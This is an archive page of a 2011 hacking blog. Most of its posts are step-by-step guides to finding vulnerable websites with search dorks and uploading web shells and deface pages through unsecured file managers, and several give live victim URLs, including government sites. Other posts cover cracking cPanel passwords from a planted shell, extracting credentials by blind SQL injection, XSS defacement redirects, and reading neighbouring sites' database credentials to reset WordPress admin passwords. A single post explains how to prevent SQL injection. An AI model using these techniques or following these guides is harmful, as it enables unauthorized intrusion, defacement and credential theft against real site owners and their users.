Cybers Cafe's: 2011

Jumat, 12 Agustus 2011

"jsp Webfolder Managment" A new shell and Deface upload exploit

"jFoler, jsp Webfolder Managment" A new shell and Deface upload exploit
Hi Mates !! Hapy holi to evryone checkout holi special post here
zac+efron+2012.jpg (371×230)

so i'm back with a new exploit
its a new remote file upload vulnerability, you can upload your deface page, files and shells on websites, without gaining Admin acess
mostly vulnerable websites for this attacks belongs to China and Tiwan (.cn and .tw)
Dork : www.topronet.com ,All Rights Reserved.Any question, please email me cqq1978@Gmail.com
and
JFoler 1.0 A jsp based web folder management tool by Steven Cee
(its not a Particular dork, please try to modify it and if you sucessfull modified then leave new dork in comment)
Just select any site from search results and now upload your deface page or shell
shell upload : for shell uploading rename your asp shell (shell.asp) to shell.jsp then upload it, you can try .php too, every Extension is allowed but in some sites you can't excute php and asp shell
Path : depends on website
to View your upload file just goto http://www.site.com/yourfilehere
Live Demo :
http://www.coalworld.net/detail/09/10/30/00000006/berk.jsp
http://jangbiya.com/img/upload/jsp.jsp
http://www.shnotary.gov.cn/notarial/UserFiles/Vote/MMYB1330972040320.jsp
http://www.zzb.ks.gov.cn/images/ycjy-yh.gif.jsp
http://www.zjdx.gov.cn/uploads/upload_20091128_162444_fcktemplates.jsp
Results : http://www.coalworld.net/backlinks.html

Rabu, 10 Agustus 2011

How to Hack IIS Exploit websites : The Most Easiest way of Website Hacking

In Internet Information Server Exploit website we can upload the Defaced page on the Vulnerable Server without any User Name or Password. It is most Easiest way to Website Hacking.

STEP 1: Click on Start button and open "RUN".

STEP 2: Now Type this in RUN

%WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}

Now A Folder named "Web Folders" will open.

STEP 3: Now "Right-Click" in the folder and Goto "New" and then "Web Folder".

STEP 4: Now type the name of the Vulnerable site in this. e.g." http://autoqingdao.com/ " and click "Next".

STEP 5: Now Click on "Finish"

STEP 6: Now the folder will appear. You can open it and put any deface page or anything.

STEP 7: I put text file in that folder. Named "securityalert.txt" (you can put a shell or HTML file also). If the file appear in the folder then the Hack is successful but if it don't then the site is not Vulnerable.

Now to view the uploaded site i will go to "http://autoqingdao.com/securityalert.txt"
In your case it will be " www.[sitename].com/[file name that you uploaded] "

Some IIS Exploit Websites For Practise

Senin, 08 Agustus 2011

TinyFileBrowser ~ Remote file Upload Vulnerability

Title : TinyFileBrowser ~ Remote file Upload Vulnerability
Google Dork : "inurl:tinybrowser/upload.php"

Lets Start : Open google.com/ncr or you country dOmain like Google.co.in and enter This dork
"inurl:tinybrowser/upload.php"

Vulnerable website's title will TinyBrowser :: Upload in search results
and in sOme sites it will show you website directory in title :)
click on Vulnerable website only ... igNore sOme extra results

Now You'll Got a page Like this image

For uploading Your files click on upload ... and click on browse to view Your Uploaded File :)

you can upload [.html],[.txt],[.jpg],[.gif],[.bmp] [.php not allowed] but atleast you can try as

php.jpg :P ... but in sOme websites you can upload images and txt file Only .. but

dont worry ... u can notify your deface as image or text file :D

Must levae a comment if you like this Post :)

"Nothing is impossible in this world even Nobody is Perfect "

Sabtu, 06 Agustus 2011

paw is a Vunerablity, you Can Upload your deface & Shell Easily in Vunerable websites

Lets Start

open www.google.com
enter The Dork inurl:"spaw2/dialogs/"
or
inurl:"spaw2/uploads/files/"
You will Got results Like this "Index of/ spaw2/dialogs/"
or : site.com/abc/spaw2/uploads/files/abc/abc.pdf

Now replace The Spaw2/Uploads/abc/abc ur with this url

for example i got this website
so Now i will replcae

with
Now the URL is

Now you will Got a window like this (click to see)

if you want to Upload deface page then Select files option ... and i f you want to upload shell then select image option and upload your shell as shell.php;,jpg
see You uploaded deface here

www.site.com/profile/spaw2/uploads/

comment here if any prOblem

Rabu, 03 Agustus 2011

'preventing sql injections'

Hi Guys !
here, this is a quick tutorial on 'preventing sql injections', don't wrry if u don't know php, this is php friendly :)

There are usually two types of attacks :

1. URL based
2. Form based

Major reason for both of them is 'badly architectured parametres'
many say That remove/rename or unlink the database configuration file, ofcourse this will work but this is NOT the solution, as it will halt the functionality of the site, your
Dynamic website will turn into just html pages in seconds, this is anologus to condition like, because of fear of robbery you don't buy anything for yourself too: P
what we will be doing is sanitizing and validating php variables, we have make sure That our critical global arrays like get, post, files, session, cookies etc allow data which we
Want them to store and nothing else, because we can't trust the fact that users will enter expected data. What we mean is suppose you have site script like this:

blabla.com/news.php?id=8

Now what dis means is, in our "news.php" script (in global GET array) we have an array location $_GET[id] which contains the value which is being passed via URL,
In our case it is '8', what usually careless admins do is, pass on the get[] as it is to the database query which is to be executed so that proper content for id=8
Can be extracted from database and thrown on the user screen, SQL query can be like :

$news_query = "SELECT * FROM news WHERE NEWS ='".$_GET['id']."'";

Now if we manipulate the URL and write 'something' in place of 'expected' integer then we may break normal query and can execute our own queries!
by breaking a query i mean, as in the above example we wrote

NEWS ='$_GET[id]'

if instead of expected id we write something like ==> 8'; eval_query; #
now what our new url is ==> blabla.com/news.php?id=8'; eval_query; #
our new query becomes ==> $news_query = "SELECT * FROM news WHERE NEWS ='8'; eval_query; #';
# is used to comment out query part after it, so now as u can see our "eval query" will be executed with normal expected query, eval query can be { DROP TABLE news} which will drop the "news"!
we can prevent this if instead of directly using get[] variable in query we first validate them and then use them, by validating I mean, we make sure that URL variables contains
only that data which we want them to store and nothing else (in this case, we want integers for id values), this depend on the programming of the script, we may sometimes want alphabets(lower case or upper case or both),
numbers, some special characters etc . . . php gives us some function to do the same :
in this case we can use "preg_replace" or maybe 'ereg_replace', i advertise preg_replace cause it has lot more functionality and is faster than ereg :) [you can search php.net if you want details about them]
so here we want only numbers in id fiels so we wil add this line before querying it :

$id = $_GET['id'];
$vald_id = preg_replace('#[^0-9]#i', '', $id);

first line is getting id variable from url via get and storing it in local variable $id, next we are cleaning it using preg_replace, so that it only contains numbers from 0-9 (if anything else is there it will replace it with a blank.space) and nothing else, we will use this cleaned variable
$vald_id in our query.
if we want some(defined) special characters along with alphabets we can write (in place of [^0-9]) :

preg_replace('#[^A-Za-z,.?$@!]#i', '', $id);

Now how to patch panels/forms of sites against sql
suppose there is an admin panel say
blabla.com/admin/
hit [ctrl+u] view source, crawl source and search for [action=], cause every html form will be processin and submitting form elements using php scripts, if its written something like
action="<?php echo $PHP_SELF;?>" ==> this means php script is calling itself and its processing is done in same script
if instead there ist written :
action="login.php" [it can also call lol.php dosn't matter :P]
this means all form data goes to login.php processed there and then sent to database. Main culprit is login.php because it is not filtering variables correcty!
go to login.php, it wil be having lines looking like
$username = $_POST['user'];
$pass=$_POST['pass'];
$loginquery = "SELECT * FROM tbl_admin WHERE username ='$username' AND password = '$pass'";
$result = mysql_query($loginquery);
so we need to clean POST array elements before using them in a query

we will use preg_replace as before and we will also use
strip_tags as we don't want any html javascript elements in our form data,
basic syntax is ==> strip_tags($variable)
if you want to allow certain tags like <br> then we can also do that as ==> strip_tags($var, '<br>')
i intended to make a short tut but i failed :p hope you

Senin, 01 Agustus 2011

Cpanel Cracking

Today we will Learn CPANEL cracking or Hacking i.e gaining password for port no 2082 on website first of all we need a cpanel cracking shell on the server because we are going to crack those websites cpanels which are hosted on the shelled server.

so lets start i am using cpanel.php [download it here]shell for cracking :) we need two things in cracking first one is usernames of the websites that are hosted on the server second is a good password dictonery [Get Passwords List Here]

so

 in first step :-
 grab the usernames of the websites using command ls /var/mail
 or use the "Grab the usernames from /etc/passwd" option in the shell

press the go button
  we have done from our side
  lets wait and watch ,if we have supplied good passwords then shell will show a message 
   " [~]# cracking success with username "xyz" with password "xyz"   "
  otherwise it will show 
   "[~] Please put some good passwords to crack username "xyz" :( "

  so chances of success depends on password list that we are using in cracking process

[GUEST POST]

Credits To z3r0 c00l and Team Indishell

Minggu, 31 Juli 2011

Today I will be teaching you a very common vulnerability called XSS/Cross Site Scripting. Plus how to exploit it.

What is XSS, what can I accomplish with it?
XSS is common in search bars and comment boxes. We can then inject almost any type of programming language into the website. Whether it be Javascript, HTML or XML. XSS is mainly directed at Javascript injection. However, you can inject other languages which will be shown later.
Most people use it to display messages on the website, redirect you to their defacement and even put cookie loggers and XSS shells on the website.

What causes the vulnerability?
Poor PHP coding within text boxes and submission forms. They were too lazy to code it properly allowing us to inject strings into the source code, that would then give us the conclusion of what we put in since it's also in the source code. They did not bother to filter what we type in. They allowed characters such as ">, ", /", etc.

What types of XSS are there?
There are two types of XSS. Persistent and non-persistent. If you inject some code into the website and it sticks to the website (you leave the page and come back, and it's still there) then it is persistent. That is good. When you get non-persistent it will not stick on the website, you will only see it once. With persistent XSS you can do much more, leave messages, redirect them, etc. With non-persistent the most you can do is upload a cookie logger.

What will you be teaching today?
The basics of XSS and cookie logging.

How to test for XSS vulnerabilities.
To test if the website is vulnerable to XSS we want to go to a search box and inject some Javascript. We've found a search box and now we want to use Javascript to alert a message so we can see if the Javascript was successfully executed.

**<*script*>alert('XSS');</*script*>
(remove every * )
We now see a pop up message on our screen saying "XSS". This is what it should look like:http://img845.imageshack.us/img845/7924/xss1.png

In some cases, a message might not pop up. If it doesn't work, check the source code and have a look at the output. Most of the time the error requires you to make a little change.

"*>*<script*>alert('XSS');</*script*>
(remove every * )
Okay, we have found out that it is vulnerable. We can now move on.

How can I deface a webpage with XSS?
I will be showing you methods for persistent, and non-persistent XSS.

Persistent XSS.
First I will be starting with persistent XSS. Since it's persistent I want to redirect my victims to a deface page. We simply just inject this some more Javascript like we did before:

<*script*>window.location="*http://yourdefacepage.com/index.html";<*/script*>
(remove every * )
Remember, you can always alter the code if it doesn't work.
You can do many things with XSS, you just need all the right strings. I'm only focusing on defacing, since most people just deface sites these days.

Non-persistent XSS.
Okay. Obviously we can't redirect users with non-persistent. But with basic web-based programming knowledge we can make a cookie logger. We may also need advanced social engineering skills for people to open our cookie logger.

How to make a cookie logger. (Cookie Logger's Tutorial Coming Soon ...)

Jumat, 29 Juli 2011

" Image Uploader" Shell Upload Vulnrability

"CMS admin Image Uploader" Shell Upload Vulnrability
Google dorks
inurl:"default_image.asp"
inurl:"default_imagen.asp"

inurl:"/box_image.htm"

You'll got a upload option after clicking on link that you got in google serach results

Now select your deface, or shell and upload it =)

supported foramts : shell.asp;.jpg, shell.php;.jpg, .gif, .jpg, .png, .pdf, .zip .html .php

you can use Tamper data too...

Live demo :

https://www.thinkheartland.com/CMS/admin/default_Image.asp

https://www.thinkheartland.com/CMS/admin/images/backlinks.html

http://www.dautphetal.de/edit/default_asset.asp

New shell & Deface Upload Vulnerability

New shell & Deface Upload Vulnerability ! by using this Vulnerability You can Upload Your deface Page shell and files etc on websites :)

Google dork :

inurl:.php "Please wait while the file is uploaded, it may take several minutes depending by the size of the file and by your internet bandwidth."

Vulnerable url :

http://localhost/upload.php

Live Demo :

- http://bestdrive.hi2.ro/upload.php
You will Got your file Link after upload file, goto link and then click on download file and you'll saw your file 


demo : http://bestdrive.hi2.ro/19d47109e3c9e2c1423eac228aff27d1/backlinks.html


Please Leave a comment if you like this Post ant want want more Posts, and sugess me what should be the next post ... thanks !!

Rabu, 27 Juli 2011

Blind SQLi Tutorial

what is Blind SQLi
Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established
.
Blind SQLi Tutorial

Let’s Start…………

Suppose That You want to Hack This website with Blind SQLi

http://site.com/index.php?id=5

when we execute this, we see some page and articles on that page, pictures
etc…

then when we want to test it for blind sql injection attack

http://www.site.com/index.php?id=5 and 1=1 <--- this is always true
and the page loads normally, that's ok.
now the real test

http://www.site.com/index.php?id=5 and 1=2 <--- this is false
so if some text, picture or some content is missing on returned page then
that site is vulrnable to blind sql injection.

1) Get the MySQL version
to get the version in blind attack we use substring
i.e
http://www.site.com/index.php?id=5 and substring(@@version,1,1)=4
this should return TRUE if the version of MySQL is 4.
replace 4 with 5, and if query return TRUE then the version is 5.
i.e
http://www.site.com/index.php?id=5 and substring(@@version,1,1)=5
2) Test if subselect works
when select don't work then we use subselect
i.e
http://www.site.com/index.php?id=5 and (select 1)=1
if page loads normally then subselects work. then we gonna see if we have access to mysql.user
i.e
http://www.site.com/index.php?id=5 and (select 1 from mysql.user limit 0,1)=1
if page loads normally we have access to mysql.user and then later we can
pull some password usign load_file() function and OUTFILE.
3). Check table and column names
This is part when guessing is the best friend :) i.e.
http://www.site.com/index.php?id=5 and (select 1 from users limit 0,1)=1
(with limit 0,1 our query here returns 1 row of data, cause subselect
returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users
exits.
if you get FALSE (some article missing), just change table name until you
guess the right one :)
let's say that we have found that table name is users, now what we need is
column name.
the same as table name, we start guessing. Like i said before try the
common names for columns.
i.e
http://www.site.com/index.php?id=5 and (select substring(concat(1,
password),1,1) from users limit 0,1)=1
if the page loads normally we know that column name is password (if we get
false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first
character (,1,1)
4). Pull data from database
we found table users i columns username password so we gonna pull
characters from that.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>80
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii()
converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
so the first character in username is char(99). Using the ascii converter
we know that char(99) is letter 'c'.
then let's check the second character.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it
returns the second character, 1 character in lenght)
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, the page loads normally, higher.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, lower number.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, higher.
http://www.site.com/index.php?id=5 and ascii(substring((SELECT concat
(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
we know that the second character is char(105) and that is 'i'. We have
'ci' so far
so keep incrementing until you get the end. (when >0 returns false we know
that we have reach the end).
There are some tools for Blind SQL Injection, i think sqlmap is the best,
but i'm doing everything manually,
cause that makes you better SQL INJECTOR :D
Hope you learned something from this Tutorial.
Have FUN! :)

Minggu, 24 Juli 2011

"Shell Jumping" Hacking Other websites Based on same server using b374k Newbie3viLc063s shell

Newbie3viLc063s shell is coded by newbie c0de d3vil, its a suitble shell for "Localhost Jumping"
This shell is new verison of most popular shell b374k
download it here : http://pastebin.com/JDhBnfkH
(copy source from pastebin raw data section and paste it in notepad and save as any name .php, like shell.php or devilscafe.php )

Step 1- download shell =)
Click On Local Domain To view all websites based on same server
Check for readable
[click to view image]
Step 2 - Now choose any website from Local host domain list and copy Senarai User value then goto home and paste in view file/folder after home/replacethiskeyword/public_html/
for example current view file/folder value = home/abc/public_html
and your website's Senarai User value (username) is xyz then view file/folder value will be home/xyz/public_html/
[click to view image]
Step 3 - After Going to that Folder Look for MySQL confiq (wp-config.php in wordpress and configuration.php for joomla ) now open The file and you'll Got datbase username and password here
it will Looks like
Username =

/** MySQL database username */
define('DB_USER', 'googlyma_wrdp1');

PASSWORD =

/** MySQL database password */
define('DB_PASSWORD', 'PHZ2hum6{{KE');
[click to view image]
Step 4- Now Conncet to MYSQL datbase with username and Password
and enter this SQL Query
UPDATE wp_users SET user_pass =md5( '123456') WHERE user_login = 'admin';
[click to view image]
Step 5- goto : http://webste.com/wp-admin/ and login with Username and password

Jumat, 22 Juli 2011

Ajax File Manager ~ Shell and Files Upload Vulnerability

Buka Google Search Engine, Tipe ini dork: inurl :/ plugins / ajaxfilemanager /
Misalnya saya punya:
http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/session/
atauhttp://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/atau situs lain ...

MisalNya :
http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php
http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

Sekarang Cari Upload Upload dan Upload shell Anda / Deface / fileUntuk melihat Anda Berkas menemukan / Uploaded / direktori di Website dengan menggunakan Perkiraan Anda :P

example of uploaded file : http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/aaaaaaaa.txt
http://www.ziaislamic.com/BOOK-CMS/interfaces/uploaded/aaaaaaaa.txt

Some Demo sites

http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php
http://www.thebradshawscornershop.co.uk/scripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
http://202.137.23.162/brantas_portal/assets/tinymce/plugins/ajaxfilemanager/ajaxfilemanager.php
http://www.apmsa.org.za/admin/scripts/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

Results :
http://www.ziaislamic.com/BOOK-CMS/interfaces/uploaded/yourfilehere
http://www.thebradshawscornershop.co.uk/images/yourfilehere
http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/yourfilehere
http://202.137.23.162/brantas_portal/uploaded_docimage/yourfilehere
http://www.apmsa.org.za/admin/scripts/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/yourfilehere

Minggu, 10 Juli 2011

"Encodable" ~ another Deface and shell upload Vulnerablity

Judul: "Encodable" ~ mengunggah berkas lain Vulnerablity
safe_image.php (90 × 90) Dork Google: "intext: File Upload by Encodable"

Mari kita Mulai .. xd
membuka google.com dan memasukkan dork: "intext: File Upload by Encodable"
hasil datang dengan 166.000 hasil tetapi beberapa hasil palsu ... yang mungkin malwaers
jadi memilih hal-hal nyata saja, "Upload file" Anda akan judul ini untuk mencari hasil di sini :)
klik situs situs hanya yang datang dengan meng-upload sebuah judul file
setelah klik link Anda akan mendapat formulir pemuatan
Anda akan melihat beberapa pilihan dalam formulir ini seperti nama dll Keterangan email ...
Jenis apa pun di kotak-kotak tetapi menambahkan email di kotak email, jangan gunakan sendiri
menempatkan ini billy@microsoft.com satu, admin@nasa.gov dll: P

sekarang memilih file Anda dan meng-upload :)

setelah mengklik tombol upload pop up akan terbuka ... dont menutupnya, itu automatilcly akan ditutup
setelah file upload

di beberapa situs yang akan membuat Anda link file upload setelah upload di website
dan jika Anda tidak mengajukan itu kemudian coba url ini

/upload/files/

or /upload/userfiles/

Live Demo : http://150.101.230.65:8008/cgi-bin/filechucker.plx

Uploaded page : http://150.101.230.65:8008/upload/files/xd.html

Cybers Cafe's